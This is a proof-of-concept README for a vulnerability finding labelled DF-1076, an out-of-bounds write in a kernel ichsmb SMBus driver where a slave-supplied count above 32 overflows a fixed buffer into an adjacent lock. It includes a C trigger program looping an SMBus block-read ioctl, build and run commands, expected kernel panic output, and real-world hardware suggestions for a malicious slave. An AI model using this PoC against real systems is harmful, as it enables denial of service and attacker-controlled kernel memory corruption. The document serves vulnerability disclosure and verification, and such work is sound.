# DF-1076 PoC — ichsmb block-read count OOB write

## Trigger

The ichsmb interrupt handler at `ichsmb.c:575` reads the slave-supplied
count byte from `ICH_D0` directly into `sc->block_count` with no clamp.
The loop at `:580-585` then writes up to `sc->block_count` bytes into
the fixed-size `sc->block_data[32]` array. A slave that supplies
`count > 32` overflows `block_data` into the adjacent `struct lock mutex`
and beyond, with fully attacker-controlled contents.

## Two-piece PoC

### (1) Malicious SMBus slave

The cleanest lab setup is QEMU's `pm_smbus` / `i2c` emulation. Patch
`hw/i2c/pm_smbus.c` (or the `i2c-ddc` slave) so that on a block-read it
writes `count = 255` to the data register and then streams 255
attacker-chosen bytes.

Equivalent real-world: a $2 ATtiny / Pico wired to the SMBus DATA/CLOCK
lines on a test motherboard, or a hotplug USB-C dock with an embedded
SMBus slave controller.

A simple QEMU patch sketch is provided alongside this README as
`malicious_slave_qemu_patch.txt`.

### (2) Trigger source

```c
#include <fcntl.h>
#include <sys/ioctl.h>
#include "smb.h"

int main(void) {
    int fd = open("/dev/smb0", O_RDWR);  /* needs euid 0 */
    if (fd < 0) return 1;
    struct smbcmd c = {0};
    c.cmd    = 0x00;
    c.slave  = 0x50;
    c.rcount = 32;
    char out[32];
    c.rbuf = out;
    for (;;) ioctl(fd, SMB_BREAD, &c);   /* trigger block-read */
    return 0;
}
```

## Build & run

```
cc -I/usr/src/sys -I/usr/src/sys/dev/smbus/smb -o trigger trigger.c
sudo ./trigger
```

## Expected output

With a malicious slave returning `count > 32` the kernel panics on the
very next `lockmgr` op:

```
Fatal trap 12: page fault while in kernel mode
fault virtual address   = 0x<address inside corrupted lockmgr state>
ichsmb_device_intr(...) at ichsmb.c:583
atpic_handle_intr(...) at ...
...
panic: lockmgr: corrupted state / spin_lock assertion failure
```

If the corruption happens to keep the lock looking valid, the system dies
on the next SMBus ioctl. Confirm the OOB by enabling WITNESS/INVARIANTS:
an INVARIANTS kernel will trip on the overwritten lock state immediately.

To prove the corruption magnitude, set the slave's payload bytes to `0xAA`
and observe (kgdb) that `sc->mutex` and the bytes past it are overwritten
with `0xAA` up to `sc->block_data[255]`.

## Static verification fallback

If dynamic verification is impractical (no QEMU build env):

1. Confirm `ichsmb.c:575` reads `bus_read_1(sc->io_res, ICH_D0)` into
   `sc->block_count` with no clamp.
2. Confirm `ichsmb_var.h:64` declares `u_char block_data[32]`.
3. Confirm `ichsmb_var.h:65` declares `struct lock mutex` immediately
   after `block_data`.
4. Confirm `ichsmb.c:580-585` loop bound uses `sc->block_count`.

All four line references are confirmed in the finding markdown.

## Kernel references

- `sys/bus/smbus/ichsmb/ichsmb.c:575-585` — the bug
- `sys/bus/smbus/ichsmb/ichsmb_var.h:64-65` — array + adjacent mutex
- `sys/bus/smbus/ichsmb/ichsmb.c:424-427` — caller bound does not constrain
  slave-supplied count
- `sys/dev/smbus/smb/smb.c:135-141` — /dev/smb0 is 0600 root:wheel
